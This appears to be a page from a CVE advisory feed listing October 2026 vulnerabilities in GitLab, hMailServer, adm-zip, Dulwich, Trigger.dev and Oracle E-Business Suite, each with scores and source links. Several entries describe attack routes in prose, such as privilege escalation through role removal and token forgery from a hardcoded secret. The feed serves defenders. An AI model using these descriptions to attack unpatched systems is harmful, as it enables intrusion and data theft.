GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, an unauthenticated user could have poisoned a shared cache's OAuth/OIDC discovery document to redirect certain flows to an externally controlled server, due to improper trust of user-supplied values when constructing endpoint URLs in cached discovery responses.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in the REST administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows a remote authenticated user whose credential holds the...
https://kevwire.com/record/CVE-2026-114476
Incorrect authorization in the REST administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows a remote authenticated user whose credential holds the... (Oct 21, 2026).
Incorrect authorization in the REST administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows a remote authenticated user whose credential holds the manage_roles permission in named domains - a full-scope API key issued for those domains, or an account assigned the serveradmin role with a list of domains - to obtain the server administrator's authority. An account's admin level gives it authority, and a role assigned to it replaces that authority, which is how an administrator narrows an account whose admin level is the server administrator's. The route that takes a role away (DELETE /api/v1/role-assignments/{address}) checked only that the credential takes in what the account held at the time, not what it would hold afterwards, so such a credential could take a narrowing role away from an account in its domains whose admin level is the server administrator's, returning it to the server administrator's authority, and, having set that account's password while it held the narrower role, sign in as the server administrator.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114476).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114476&date=2026-10-25).
Sources:
NVD CVE-2026-114476: https://nvd.nist.gov/vuln/detail/CVE-2026-114476
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114476&date=2026-10-25
Incorrect authorization in the REST administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows a remote authenticated user whose credential holds the manage_roles permission in named domains - a full-scope API key issued for those domains, or an account assigned the serveradmin role with a list of domains - to obtain the server administrator's authority. An account's admin level gives it authority, and a role assigned to it replaces that authority, which is how an administrator narrows an account whose admin level is the server administrator's. The route that takes a role away (DELETE /api/v1/role-assignments/{address}) checked only that the credential takes in what the account held at the time, not what it would hold afterwards, so such a credential could take a narrowing role away from an account in its domains whose admin level is the server administrator's, returning it to the server administrator's authority, and, having set that account's password while it held the narrower role, sign in as the server administrator.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in the REST and COM administration APIs of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote authenticated user whose credential is confined...
https://kevwire.com/record/CVE-2026-114489
Missing authorization in the REST and COM administration APIs of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote authenticated user whose credential is confined... (Oct 21, 2026).
Missing authorization in the REST and COM administration APIs of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote authenticated user whose credential is confined to named domains to change mail routing and domain configuration beyond those domains on a multi-tenant server. A domain administrator, an account or API key given another role that manages accounts in named domains, or a full-scope API key issued for named domains could create a domain alias for any name (so that other tenants' mail for that name is diverted to an address the attacker controls, or denied), rename a domain to any name the server does not host, set a rule's bind-to-address, send-using-route or script-function action to reach one of the server's own addresses, a configured route's stored credentials or a function of the server's event script, and set the domain's relay host - which delivery then connects to with no address rule - to an address on the server's own network; and over the COM API any account could set the three rule actions on its own rules, where the script-function action runs at delivery. The authorization gate did not refuse these routes to a confined credential and the handlers were not given the caller; over COM the domain-alias save performed no authorization check at all, the domain rename required only a domain administrator, and a rule save required at most that the caller could change the rule's owner.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114489).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114489&date=2026-10-25).
Sources:
NVD CVE-2026-114489: https://nvd.nist.gov/vuln/detail/CVE-2026-114489
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114489&date=2026-10-25
Missing authorization in the REST and COM administration APIs of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote authenticated user whose credential is confined to named domains to change mail routing and domain configuration beyond those domains on a multi-tenant server. A domain administrator, an account or API key given another role that manages accounts in named domains, or a full-scope API key issued for named domains could create a domain alias for any name (so that other tenants' mail for that name is diverted to an address the attacker controls, or denied), rename a domain to any name the server does not host, set a rule's bind-to-address, send-using-route or script-function action to reach one of the server's own addresses, a configured route's stored credentials or a function of the server's event script, and set the domain's relay host - which delivery then connects to with no address rule - to an address on the server's own network; and over the COM API any account could set the three rule actions on its own rules, where the script-function action runs at delivery. The authorization gate did not refuse these routes to a confined credential and the handlers were not given the caller; over COM the domain-alias save performed no authorization check at all, the domain rename required only a domain administrator, and a rule save required at most that the caller could change the rule's owner.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in the COM administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows an account assigned the serveradmin role with a list of domains -...
https://kevwire.com/record/CVE-2026-114490
Incorrect authorization in the COM administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows an account assigned the serveradmin role with a list of domains -... (Oct 21, 2026).
Incorrect authorization in the COM administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows an account assigned the serveradmin role with a list of domains - a credential an administrator may create meaning to confine it to those domains - to act as the whole-server administrator over COM. Administrator roles are meant to confine such a credential to the domains its list names, and the REST API did not take it for the server administrator, but the COM API's server-administrator check read the administer_server permission as the whole server whatever list the grant carried. So the credential signed in through the Control Panel, or through a script run on the server, as the server administrator of every domain: it could read and change every domain's accounts and mail, rename any domain, map a domain alias onto any, write the server's settings and secrets, and create further server-administrator accounts. The COM API's domain-administrator check, asked with no domain, likewise let an account assigned the domainadmin role with a list of domains that leaves out the account's own domain administer that domain's ordinary accounts over COM. An account holding serveradmin with no list is the server administrator by design and is unaffected, as are the help desk, auditor and custom roles.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114490).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114490&date=2026-10-25).
Sources:
NVD CVE-2026-114490: https://nvd.nist.gov/vuln/detail/CVE-2026-114490
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114490&date=2026-10-25
Incorrect authorization in the COM administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows an account assigned the serveradmin role with a list of domains - a credential an administrator may create meaning to confine it to those domains - to act as the whole-server administrator over COM. Administrator roles are meant to confine such a credential to the domains its list names, and the REST API did not take it for the server administrator, but the COM API's server-administrator check read the administer_server permission as the whole server whatever list the grant carried. So the credential signed in through the Control Panel, or through a script run on the server, as the server administrator of every domain: it could read and change every domain's accounts and mail, rename any domain, map a domain alias onto any, write the server's settings and secrets, and create further server-administrator accounts. The COM API's domain-administrator check, asked with no domain, likewise let an account assigned the domainadmin role with a list of domains that leaves out the account's own domain administer that domain's ordinary accounts over COM. An account holding serveradmin with no list is the server administrator by design and is unaffected, as are the help desk, auditor and custom roles.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### adm-zip before 0.6.1 contains a denial of service vulnerability that allows unauthenticated attackers to crash the Node.js process via a malformed ZIP file, because inflateAsync...
https://kevwire.com/record/CVE-2026-114102
adm-zip before 0.6.1 contains a denial of service vulnerability that allows unauthenticated attackers to crash the Node.js process via a malformed ZIP file, because inflateAsync... (Oct 21, 2026).
adm-zip before 0.6.1 contains a denial of service vulnerability that allows unauthenticated attackers to crash the Node.js process via a malformed ZIP file, because inflateAsync in methods/inflater.js lacks a zlib stream error listener. Attackers can supply a ZIP with corrupted DEFLATE data processed by readFileAsync, readAsTextAsync, extractAllToAsync, or getDataAsync, triggering an uncatchable exception that terminates all in-flight requests.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114102).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114102&date=2026-10-25).
Sources:
NVD CVE-2026-114102: https://nvd.nist.gov/vuln/detail/CVE-2026-114102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114102&date=2026-10-25
adm-zip before 0.6.1 contains a denial of service vulnerability that allows unauthenticated attackers to crash the Node.js process via a malformed ZIP file, because inflateAsync in methods/inflater.js lacks a zlib stream error listener. Attackers can supply a ZIP with corrupted DEFLATE data processed by readFileAsync, readAsTextAsync, extractAllToAsync, or getDataAsync, triggering an uncatchable exception that terminates all in-flight requests.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dulwich from 0.23.1 before 1.2.8 contains a path traversal vulnerability in CommitFilter._apply_index_filter() that allows attackers to write files outside the working directory...
https://kevwire.com/record/CVE-2026-114097
Dulwich from 0.23.1 before 1.2.8 contains a path traversal vulnerability in CommitFilter._apply_index_filter() that allows attackers to write files outside the working directory... (Oct 21, 2026).
Dulwich from 0.23.1 before 1.2.8 contains a path traversal vulnerability in CommitFilter._apply_index_filter() that allows attackers to write files outside the working directory via symlinks persisting between commits. Attackers can craft a repository where an ancestor commit's symlink redirects a descendant commit's file writes during filter_branch, enabling code execution by writing into .git/hooks.
CVSS 7.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114097).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114097&date=2026-10-25).
Sources:
NVD CVE-2026-114097: https://nvd.nist.gov/vuln/detail/CVE-2026-114097
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114097&date=2026-10-25
Dulwich from 0.23.1 before 1.2.8 contains a path traversal vulnerability in CommitFilter._apply_index_filter() that allows attackers to write files outside the working directory via symlinks persisting between commits. Attackers can craft a repository where an ancestor commit's symlink redirects a descendant commit's file writes during filter_branch, enabling code execution by writing into .git/hooks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.0 performs no authentication or organization check in the action handler of the dashboard run replay route (resources.taskruns.$runParam.replay) and looks...
https://kevwire.com/record/CVE-2026-114092
Trigger.dev before 4.5.0 performs no authentication or organization check in the action handler of the dashboard run replay route (resources.taskruns.$runParam.replay) and looks... (Oct 21, 2026).
Trigger.dev before 4.5.0 performs no authentication or organization check in the action handler of the dashboard run replay route (resources.taskruns.$runParam.replay) and looks up the run by friendlyId alone. A remote attacker who knows a victim's run friendlyId can replay it into an environment of their choosing, exposing the victim's task payload or running the task again with the victim's secrets.
CVSS 8.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114092).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114092&date=2026-10-25).
Sources:
NVD CVE-2026-114092: https://nvd.nist.gov/vuln/detail/CVE-2026-114092
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114092&date=2026-10-25
Trigger.dev before 4.5.0 performs no authentication or organization check in the action handler of the dashboard run replay route (resources.taskruns.$runParam.replay) and looks up the run by friendlyId alone. A remote attacker who knows a victim's run friendlyId can replay it into an environment of their choosing, exposing the victim's task payload or running the task again with the victim's secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded...
https://kevwire.com/record/CVE-2026-114087
Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded... (Oct 21, 2026).
Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114087).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114087&date=2026-10-25).
Sources:
NVD CVE-2026-114087: https://nvd.nist.gov/vuln/detail/CVE-2026-114087
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114087&date=2026-10-25
Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server).
https://kevwire.com/record/CVE-2026-101829
Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Application Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Application Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Application Server accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101829).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101829&date=2026-10-25).
Sources:
NVD CVE-2026-101829: https://nvd.nist.gov/vuln/detail/CVE-2026-101829
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101829&date=2026-10-25
Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Application Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Application Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Application Server accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101827
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HCM Common Architecture accessible data as well as  unauthorized access to critical data or complete access to all Oracle HCM Common Architecture accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101827).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101827&date=2026-10-25).
Sources:
NVD CVE-2026-101827: https://nvd.nist.gov/vuln/detail/CVE-2026-101827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101827&date=2026-10-25
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HCM Common Architecture accessible data as well as  unauthorized access to critical data or complete access to all Oracle HCM Common Architecture accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101826
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101826).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101826&date=2026-10-25).
Sources:
NVD CVE-2026-101826: https://nvd.nist.gov/vuln/detail/CVE-2026-101826
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101826&date=2026-10-25
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101825
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101825).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101825&date=2026-10-25).
Sources:
NVD CVE-2026-101825: https://nvd.nist.gov/vuln/detail/CVE-2026-101825
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101825&date=2026-10-25
Vulnerability in the Oracle HCM Common Architecture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HCM Common Architecture.  Successful attacks of this vulnerability can result in takeover of Oracle HCM Common Architecture. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Document Management and Collaboration product of Oracle E-Business Suite (component: Attachments).
https://kevwire.com/record/CVE-2026-101824
Vulnerability in the Document Management and Collaboration product of Oracle E-Business Suite (component: Attachments). (Oct 20, 2026).
Vulnerability in the Document Management and Collaboration product of Oracle E-Business Suite (component: Attachments).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Document Management and Collaboration.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Document Management and Collaboration, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Document Management and Collaboration accessible data as well as  unauthorized access to critical data or complete access to all Document Management and Collaboration accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101824).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101824&date=2026-10-25).
Sources:
NVD CVE-2026-101824: https://nvd.nist.gov/vuln/detail/CVE-2026-101824
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101824&date=2026-10-25
Vulnerability in the Document Management and Collaboration product of Oracle E-Business Suite (component: Attachments).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Document Management and Collaboration.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Document Management and Collaboration, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Document Management and Collaboration accessible data as well as  unauthorized access to critical data or complete access to all Document Management and Collaboration accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101823
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101823).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101823&date=2026-10-25).
Sources:
NVD CVE-2026-101823: https://nvd.nist.gov/vuln/detail/CVE-2026-101823
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101823&date=2026-10-25
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: ADADMIN).
https://kevwire.com/record/CVE-2026-101820
Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: ADADMIN). (Oct 20, 2026).
Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: ADADMIN).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in takeover of Oracle General Ledger. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101820).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101820&date=2026-10-25).
Sources:
NVD CVE-2026-101820: https://nvd.nist.gov/vuln/detail/CVE-2026-101820
